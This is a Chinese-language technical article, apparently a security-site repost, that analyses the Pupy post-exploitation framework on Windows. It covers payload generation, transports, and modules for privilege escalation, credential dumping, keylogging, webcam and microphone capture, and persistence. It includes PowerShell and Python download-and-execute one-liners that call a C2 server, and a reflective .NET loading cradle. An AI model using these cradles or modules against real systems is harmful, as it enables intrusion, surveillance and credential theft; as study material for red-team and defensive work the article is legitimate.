當前位置:
首頁 > 知識 > Pupy利用分析——Windows平台下的功能

Pupy利用分析——Windows平台下的功能

0x00 前言

Pupy是使用Python開發的跨平台遠程管理和後期開發工具,支持很多實用的功能。

本文將要對Pupy在Windows平台的啟動文件類型、連接方式和通信協議進行介紹,將其中的後滲透模塊進行分類,逐個介紹功能。

0x01 簡介

本文將要介紹以下內容:

·安裝方法

·支持的啟動文件類型

·支持的連接方式

·支持的通信協議

·後滲透模塊介紹

0x02 安裝方法

1. 使用docker

說明文檔:https://github.com/n1nj4sec/pupy/wiki/Installation

2.直接安裝

git clone --recursive https://github.com/n1nj4sec/pupy

cd pupy

python create-workspace.py -DG pupyws

pupyws/bin/pupysh

注:使用-DG參數將從https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz下載模板文件。

0x03 支持的啟動文件類型

啟動pupy後,輸入gen -h獲得生成啟動文件的說明,如下圖:

這裡逐個進行介紹:

1.client

生成exe格式的文件。

生成64位exe文件的命令示例:

gen -f client -A x64

這個命令將從pupy/pupy/payload_templates/讀取模板文件,添加配置信息後生成最終的exe文件。

註:

2.py

生成一個完全打包的Python文件(所有依賴項都從內存打包並執行)。

命令示例:

gen -f py

這個命令會生成一個Python文件,內容的格式如下:

import zlib,marshal;exec marshal.loads(zlib.decompress("xxxxxxxxx")

其中"xxxxxxxxx"為加密的內容。

加密的方法大致為使用marshal.dumps對代碼進行序列化,再加上偏移、異或等操作,具體加密演算法可參考:

https://github.com/n1nj4sec/pupy/blob/5b9529a0ea07bb4246a57bfb1c1129010c948931/pupy/pupylib/utils/obfuscate.py#L9

如果想要取消加密過程並獲得源文件,可以加上--debug參數,示例如下:

gen -f py --debug

對應代碼位置:https://github.com/n1nj4sec/pupy/blob/5b9529a0ea07bb4246a57bfb1c1129010c948931/pupy/pupylib/payloads/py_oneliner.py#L43

代碼判斷邏輯如下:

if debug:

return payload

return compress_encode_obfs(payload, main=True)

如果要在Windows系統的Python環境下運行這個Python文件,Windows系統還需要安裝以下模塊:

·pywin32

·pycryptodome

·Crypto

註:Crypto包需要從http://www.voidspace.org.uk/python/modules.shtml#pycrypto處下載。

3.pyinst

生成與pyinstaller兼容的Python文件。

命令示例:

gen -f pyinst

同gen -f py的區別:添加了一些頭文件,便於使用pyinstaller將Python腳本轉換成exe文件。

在之前的文章《本地密碼查看工具LaZagne中的自定義腳本開發》介紹過pyinstaller的用法。

4.py_oneliner

通過urllib庫從伺服器下載Python代碼並執行。

命令示例:

gen -f py_oneliner

在命令行輸出下載執行的代碼,示例:

python -c "import urllib;exec urllib.urlopen("http://192.168.1.1:9000/a0py9Yz5pi/Sg11A11q2J").read()"

5.ps1

生成powershell格式的啟動代碼,執行時會先啟動Powershell進程,然後在Powershell進程中載入dll。

生成32位文件的命令示例:

gen -f ps1

這個命令將從pupy/pupy/payload_templates/讀取dll的模板文件,添加配置信息和經過混淆的Invoke-ReflectivePEInjection代碼,最終實現在Powershell進程中載入dll。

註:上述命令對應的模板文件名稱為pupyx86.dll

6.ps1_oneliner

通過IEX(New-Object Net.WebClient).DownloadString從伺服器下載powershell代碼並執行。

命令示例:

gen -f ps1_oneliner

在命令行輸出下載執行的代碼,示例:

powershell.exe -w hidden -noni -nop -c "IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.1:9000/DfsP5d2GPG/xDrhpNdNTU");"

在命令行輸出執行base64編碼的代碼,示例:

powershell.exe -w hidden -noni -nop -enc xxxxxxxxxxxxxxxxxxxx

7.rubber_ducky

生成一個Rubber Ducky腳本和inject.bin文件。

命令示例:

gen -f rubber_ducky

8.csharp

生成C#文件(.cs格式)

命令示例:

gen -f csharp

這個命令將從pupy/pupy/payload_templates/讀取dll格式的模板文件,添加配置信息,使用Casey Smith的PELoader從內存載入PE文件。

註:上述命令對應的模板文件名稱為pupyx86.dll。

9..NET

生成C#文件(.cs格式)並通過mono編譯,最終生成exe格式的文件。

命令示例:

gen -f .NET

註:需要安裝mono開發環境,kali安裝命令為apt-get install mono-mcs。

關於mono的使用可以參考之前的文章《通過Mono(跨平台.NET運行環境)執行shellcode》。

這個命令是在gen -f csharp的基礎上,添加了使用mono編譯的功能。

10..NET_oneliner

通過powershell從內存載入.NET程序集。

命令示例:

gen -f .NET_oneliner

在命令行輸出Powershell代碼,示例:

powershell -w hidden -enc "xxxxxxxxxxxxxx"

這個命令是在gen -f .NET的基礎上,添加了通過powershell從內存載入.NET程序集的功能。

powershell從內存載入.NET程序集的實現代碼如下:

[Reflection.Assembly]::Load(""(new-object net.webclient).DownloadData("""http://:")).GetTypes()[0].GetMethods("")[0].Invoke($null,@())"

之前的文章《從內存載入.NET程序集(Assembly.Load)的利用分析》分析過從內存載入.NET程序集的方法

補充:額外的參數

對於生成的啟動文件,還支持以下參數:

·是否壓縮

·是否使用系統代理

·設置連接次數和間隔時間

·設置啟動前執行的Python腳本

0x04 支持的連接方式

支持以下四種:

·bind,綁定埠,作為正向連接使用

·auto_proxy,檢索可能的SOCKS/HTTP代理列表並使用,檢索方法包括:註冊表,WPAD請求,gnome設置,環境變數HTTP_PROXY

·dnscnc,dns協議?(這個功能暫時無法測試)

·connect,默認方式,反向連接到伺服器

0x05 支持的通信協議

可通過命令gen -l獲得列表。

說明文檔:

https://github.com/n1nj4sec/pupy/wiki/Get-Started#transport

目前支持以下類別:

·obfs3

·http

·ssl

·ecm

·tcp_cleartext

·dfws

·rsa

·udp_secure

·kc4

·ec4

·ws

·scramblesuit

·udp_cleartext

·ssl_rsa

以上類別的通信協議可以進行自定義,修改位置:pupy/pupy/network/transports/

0x06 後滲透模塊介紹

常用命令:

設置監聽埠:listen -a ssl 8443

查看會話:sessions

切換會話:sessions -i

結束會話:sessions -k

用法實例如下圖:

獲得session後輸入help -M可以顯示支持的後滲透模塊,這裡將其中的後滲透模塊進行分類,逐個介紹功能。

1.提權

(1)使用beroot獲得可用來提權的信息,模塊:beroot

源碼地址:https://github.com/AlessandroZ/BeRoot

(2)使用WinPwnage嘗試提權,模塊:bypassuac

源碼地址:https://github.com/rootm0s/WinPwnage

(3)切換至system許可權,模塊:getsystem

(4)使用WindowsPowerShell ADIDNS/LLMNR/mDNS/NBNS欺騙者/中間人工具Inveigh,模塊:inveigh

源碼地址:https://github.com/Kevin-Robertson/Inveigh

2.進程

(1)列出/模擬進程token,模塊:impersonate

關於token的利用方法可以參考之前的文章《滲透技巧——Token竊取與利用》。

(2)獲得當前許可權,模塊:getprivs

關於許可權的利用方法可以參考之前的文章《滲透技巧——Windows Token九種許可權的利用》。

(3)獲得當前進程的父進程,模塊:getppid

通過父進程進行許可權切換可以參考之前的文章《滲透技巧——從Admin許可權切換到System許可權》。

3.憑據獲取

(1)使用Lazagne獲取憑據,模塊:lazagne

源碼地址:https://github.com/AlessandroZ/LaZagne/

之前的文章《本地密碼查看工具LaZagne中的自定義腳本開發》曾介紹過LaZagne。

(2)從註冊表導出本地用戶hash,模塊:creddump

相關細節可以參考之前的文章《滲透技巧——通過SAM資料庫獲得本地用戶hash》。

(3)監控內存並查找明文憑據,模塊:loot_memory

開啟後會持續監控內存。

(4)從進程內存dump可列印的字元串以供進一步分析,模塊:memstrings

可以針對指定進程,輸出的格式為文本文件。

4.網路相關

(1)通過HTTP協議發送Get/Post請求,模塊:http

(2)TCP埠掃描,模塊:port_scan

(3)埠轉發和socks代理,模塊:forward

(4)抓包,模塊:tcpdump

(5)UPnP操作,模塊:igd

(6)從伺服器獲得證書,模塊:x509

5.屏幕控制

(1)通過瀏覽器控制目標屏幕的模塊:rdesktop

載入後,通過瀏覽器能夠控制目標的屏幕,如下圖:

不僅能夠查看屏幕內容,也能夠發送滑鼠和鍵盤消息。

註:這裡不使用遠程桌面協議(RDP)。

(2)使用遠程桌面協議(RDP),模塊:rdp

可以用來開啟或關閉遠程桌面連接,還支持用來驗證遠程主機的憑據。

6.監控

(1)鍵盤和剪貼板記錄,模塊:keylogger

(2)記錄滑鼠點擊並截圖周圍區域,模塊:mouselogger

(3)截圖,模塊:screenshot

(4)麥克風錄音,模塊:record_mic

(5)攝像頭拍照,模塊:webcamsnap

7.獲得系統信息

(1)查看日誌,模塊:logs

不同類型對應不同的顏色,如下圖:

(2)註冊表,模塊:reg

包括查詢、增加、刪除、修改、搜索操作。

不同類型對應不同的顏色,如下圖:

(3)列出本地和遠程共享文件夾及許可權,模塊:shares

(4)查看當前登錄用戶,模塊:w

(5)獲取服務信息,模塊:services

(6)獲取時間,模塊:date

(7)檢索EC2/DigitalOcean元數據,模塊:cloudinfo

(8)查看和修改環境變數,模塊:env

(9)虛擬機檢測,模塊:check_vm

支持識別以下虛擬機:

·Hyper-V

·VMWare

·Virtual PC

·Virtual Box

·Xen Machine

·Qemu machine

識別方法:查詢註冊表

8.執行Python命令

(1)執行單條命令,模塊:pyexec

命令示例:

pyexec -c "import platform;print platform.uname()"

(2)在互動式shell中執行Python命令,模塊:pyshell

命令示例:

pyshell

import platform

print platform.uname()

(3)載入Python包,模塊:load_package

9.執行cmd命令

(1)通過subprocess執行cmd命令,模塊:shell_exec

命令示例:

shell_exec whoami

(2)在線程上執行的簡單popen調用(速度慢但更安全),模塊:pexec

命令示例:

pexec whoami

(3)互動式shell,模塊:interactive_shell

修改自winpty

(4)執行shellcode,模塊:shellcode_exec

(5)內存執行文件,模塊:memory_exec

10.遠程執行cmd命令

使用smbexec/wmiexec實現遠程執行命令,模塊:psexec

支持使用hash。

11.維持許可權

(1)持久化,模塊:persistence

更多方式可參考:https://github.com/3gstudent/Pentest-and-Development-Tips#tips-30-windows-persistence

(2)複製當前Session,模塊:duplicate

(3)遷移進程,模塊:migrate

12.mimikatz

(1)內存載入mimikatz,執行單條命令,模塊:mimikatz

(2)內存載入mimikatz,互動式,模塊:mimishell

13.powerview

(1)直接調用,模塊:powerview

(2)使用Python重寫,模塊:pywerview

14.文件操作

(1)上傳,模塊:upload

(2)下載,模塊:download

(3)查看文件或文件夾的屬性,模塊:stat

(4)編輯文件,模塊:edit

(5)寫入文件,模塊:write

(6)使用Windows Search Index搜索文件,模塊:isearch

(7)搜索指定目錄下所有文件中的字元,模塊:search

(8)通過SMB協議訪問文件共享,模塊:smb

(9)連接遠程共享目錄並搜索文件,模塊:smbspider

15.ssh客戶端

(1)連接遠程ssh伺服器並執行命令,模塊:ssh

(2)連接遠程ssh伺服器獲得完整互動式會話,模塊:sshell

16.outlook

與目標用戶的Outlook會話交互,模塊:outlook

17.壓縮與解壓縮

zip壓縮與解壓縮,模塊:zip

18.鎖屏

模塊:lock_screen

19.查看回連Session的信息

(1)獲得所有Session的網路信息,模塊:netstat

(2)獲得當前Session的信息,模塊:get_info

(3)查看已獲得的憑據信息,命令:creds

(4)查看server的配置信息,命令:config

0x07 小結

本文介紹了Pupy在Windows平台下的啟動文件類型、連接方式和通信協議,將其中的後滲透模塊進行分類,逐個介紹功能。

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

The Turkish Rat攻擊活動傳播Adwind木馬
2020年Pwn2Own中VMware虛擬機逃逸最新UAF漏洞分析